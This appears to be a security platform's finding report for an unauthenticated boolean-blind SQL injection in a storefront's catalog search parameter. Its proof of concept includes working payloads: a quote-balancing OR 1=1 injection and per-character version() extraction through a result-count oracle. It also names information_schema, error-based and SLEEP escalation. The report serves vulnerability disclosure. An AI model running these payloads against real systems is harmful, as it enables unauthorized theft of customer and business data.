Unauthenticated SQL injection in catalog/search?q= (boolean-blind, result-count oracle)
/catalog/searchAttack Path
Business Impact
Unauthenticated attackers can silently exfiltrate the entire database, including customer records, order data, and any credentials stored in the backend, without leaving obvious traces in application logs. Combined with the separately disclosed DB credentials via the catalog/compare SSRF finding, this enables unrestricted access to all business data, creating risks of financial fraud, customer identity theft, and regulatory penalties under GDPR/CCPA. Public exposure of the storefront database also carries severe reputational damage and potential operational disruption if attackers manipulate or enumerate the product catalog.
Description
The q GET parameter of the public product search at /catalog/search is spliced directly into the SQL LIKE clause without parameterization or escaping, allowing an attacker to terminate the LIKE string and inject arbitrary SQL. Because the query uses q in two LIKE branches (name and description), injected payloads must leave quotes balanced - a payload ending with '1' LIKE '1 achieves this since the template's trailing %' completes the literal. A deterministic boolean oracle exists: the rendered result count (0 vs N results) reflects whether the injected condition is true, enabling full per-character extraction of any database value including version() and information_schema, with a secondary error-based signal via unbalanced quotes causing mysqli_fetch_assoc() warnings.
Proof of Concept
Setup
No authentication required - catalog/search is a public storefront endpoint.
Exploit
- Confirm raw SQL injection (unterminated quote breaks the query):
GET /catalog/search?q=laptop' HTTP/1.1
Host: storefront.example
Response begins with:
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in /app/[REDACTED-PATH] on line 52
- Boolean-based blind - force the search to return the entire catalog (136 products) with a non-existent term:
GET /catalog/search?q=ZZZNOTFOUND' OR 1=1 AND '1' LIKE '1 HTTP/1.1
Host: storefront.example
Response renders <strong>136 results</strong> / Page 1 of 12.
3. Extract the DB version character-by-character using the result-count truth oracle (137 results = TRUE, 0 results = FALSE):
GET /catalog/search?q=ZZZ%' OR (SELECT ASCII(SUBSTRING(version(),1,1)))=53 AND '1' LIKE '1 HTTP/1.1
137 results → version() char 1 = ASCII 53 = '5'
GET /catalog/search?q=ZZZ%' OR (SELECT ASCII(SUBSTRING(version(),2,1)))=46 AND '1' LIKE '1 HTTP/1.1
137 results → version() char 2 = ASCII 46 = '.'
Control probes returned 0 results for =49 and =56, proving the oracle discriminates correctly. q=ZZZ%' OR id=(SELECT ASCII(SUBSTRING(version(),1,1))) AND '1' LIKE '1 returned exactly 1 result - the product whose id equals the extracted ASCII (product #53), a second independent read of the same value.
Verification
The differential between 137 results (condition TRUE) and 0 results (condition FALSE) is a deterministic extraction oracle; repeating the pattern (SELECT ASCII(SUBSTRING(<expression>,N,1)))=C exfiltrates any database value. EXISTS(SELECT 1 FROM information_schema.tables ...) executes, so the entire catalog schema is enumerable, and with the DB credentials separately disclosed (see the catalog/compare SSRF finding) the data access is unrestricted.
Cleanup
No state was persisted (read-only SELECT injection).
Observed Behavior
Injecting a raw quote into the q parameter caused a mysqli_fetch_assoc() query failure warning, while crafted balanced payloads like ZZZNOTFOUND' OR 1=1 AND '1' LIKE '1 returned the entire 136-product catalog. Per-character conditions on version() produced deterministic result-count differences (137 vs 0 results), proving a working boolean-blind extraction oracle.
Attack Scenarios
- 1
An unauthenticated attacker can extract the entire database contents, including any sensitive tables, character-by-character using the boolean result-count oracle.
- 2
An attacker can enumerate the full database schema through information_schema queries and combine this with separately disclosed DB credentials for unrestricted data access.
- 3
An attacker can use error-based extraction (extractvalue/updatexml) or time-based blind techniques (SLEEP) to accelerate exfiltration of confidential business and customer data.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app